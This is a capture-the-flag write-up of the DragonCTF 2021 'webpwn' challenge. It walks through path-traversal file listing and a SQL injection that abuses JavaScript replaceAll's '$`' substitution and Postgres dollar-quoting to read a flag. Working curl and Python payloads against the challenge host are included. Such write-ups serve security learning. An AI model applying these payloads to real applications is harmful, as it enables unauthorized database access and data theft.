DragonCTF 2021 Writeup

I have played DragonCTF 2021 with team Water Paddlers . We ended up at #7 worldwide.
I solved 1 web challange – webpwn along with my teammates @rekter0 , @PewGrand and @ZeddYu_Lu .

Webpwn [283/500] (18 solves)


    We are given a website – http://webpwn.hackable.software:8080 that looks like a shell. It has some basic commands like ls, cat, id, etc. The frontend of the website parses the commands and interacts with an API server to get data based on commands.


    If we observe the api requests from developer tools or burp proxy, we can notice the cat and ls commands send post requests to /cmd/cat and /cmd/ls with argument as post data. We can use that to do ls .. and using those filenames, we can cat all the files and save them locally.

mkdir server_files/
for i in $(curl -XPOST webpwn.hackable.software:8080/cmd/ls -d '..' --output -)
    curl -XPOST webpwn.hackable.software:8080/cmd/cat -d "../${i}" > server_files/$i

    After looking at the source code of the server, we can see that the author used custom function to make prepared statements for postgres which uses sqlEscape function. So, SQL injection is possible, if we can escape from the single quotes enforced by the sqlEscape function. And we can confirm that flag is in database by looking at the schema.sql . But the input that is being sent to the sqlEscape function is checked against some regex to make sure that it is “safe & secure” o_O

function sqlEscape(value) {
    return "'" + String(value).replace(/[^\x20-\x7e]|[']/g, '') + "'";

function prepare(query, params) {
    for (const key in params) {
            query = query.replaceAll(':' + key, sqlEscape(params[key]));
    return query;

prepare("SELECT * FROM notes WHERE session_id = :sid AND key = :key", {
    "sid": req.cookies["session"],
    "key": key

    The data passed to sqlEscape function can be controlled by several user inputs, but all of them have regex checks. Following are the user controlled inputs and their regex checks,

  1. req.cookies[‘session’]: It should match with /^[a-f0-9]{32}$/. It is very strict and cannot be tampered with!
  2. key: It should match with /^[A-Za-z][ -9A-Za-z]+$/. It is flexible, but cannot be used to escape out of single quotes, because single quote is filtered by the sqlEscape function.

    sqlEscape replaces any substring that matches with /[^ -~]|[’]/g with empty string. The supported characters are quite extensive, but the single quote is clearly specified to be removed.The post request route /cmd/babyheap/add/ in babyheap.js has an extra parameter “data”, which doesn’t have any regex restrictions. But, then again we’re stuck with the regex check in sqlEscape.

    I tried several other methods to exploit the given api routes to list and read files related to postgres data, logs, etc., but nothing worked. I then setup postgresql and the server locally for debugging.

    After a while, I tried to bruteforce and check if any of the characters allowed by sqlEscape can escape from the single quotes and wrote a loop in python to check it.

import requests, json
for i in range(32, 127):
    print(i, requests.post(
      headers = {'Cookie': 'session=12341234123412341234123412341234', 'Content-Type': 'application/x-www-form-urlencoded'},
      data = json.dumps({'key': 'test' + str(i), 'data': 'testing_data_' + chr(i)})

    The output came like this…

32 ok
33 ok
34 ok
35 ok
36 Internal error
37 ok
38 ok
125 ok
126 ok

    Then I manually checked why the $ character is giving Internal error and found that replaceAll() used in prepare function in db.js , is having some functionality implementation leading to these weird results. Check this out.


    Now, we can use this functionality to get SQL injection in the insert query, as the data from the user input is only being checked against one regex /[^ -~]|[']/g (0x20-0x7e except ‘) which has most of the ASCII characters. I have used res.send(query) in the local server to check how the query is generated based on data.


    We get postgres syntax errors if we send $ or $` at the end of the data string as in the above image. Now all we have to do is to craft a payload that doesn’t raise sql error and inserts flag into the table. I have tried so many things, but nothing worked. My teammate @rekter0 discovered that we can use $` to escape out of quotes and a postgres keyword to correct the syntax error.

import requests, json
    headers = {
      'Content-Type': 'application/x-www-form-urlencoded'
    data = json.dumps({
      'key': 'IS NULL),($$$$AAAA$$$$,$$$$00000000000000000000000000000000$$$$,$$$$BBBB$$$$)-- -',
      'data': 'AAAA$`'
INSERT INTO notes (key, session_id, data) VALUES 
  'IS NULL),($$AAAA$$,$$00000000000000000000000000000000$$,$$BBBB$$)-- -',
  'AAAAINSERT INTO notes (key, session_id, data) VALUES ('IS NULL
)-- -', 'cb215752f36ff8d1b0b5418c84df8d35', ')

    The above payload inserts two rows into the notes table, one with current session_id, given key and data, and another one with session_id “00000000000000000000000000000000”, key as “AAAA” and data as “BBBB”. So we can use an inner query in place of “BBBB” to read the flag and send another request with above session_id and key to get the flag.

Final payload:

curl webpwn.hackable.software:8080/cmd/babyheap/add \
-d '{"key":"IS NULL),($$$$AAAA$$$$,$$$$00000000000000000000000000000000$$$$,(select flag from flag))-- -","data":"AAAA$`"}'; echo;

curl webpwn.hackable.software:8080/cmd/babyheap/read/AAAA \
-H 'Cookie: session=00000000000000000000000000000000'; echo;


Thanks for reading!

KernelCTF 2021 Writeups
Ethernaut Challenges Writeup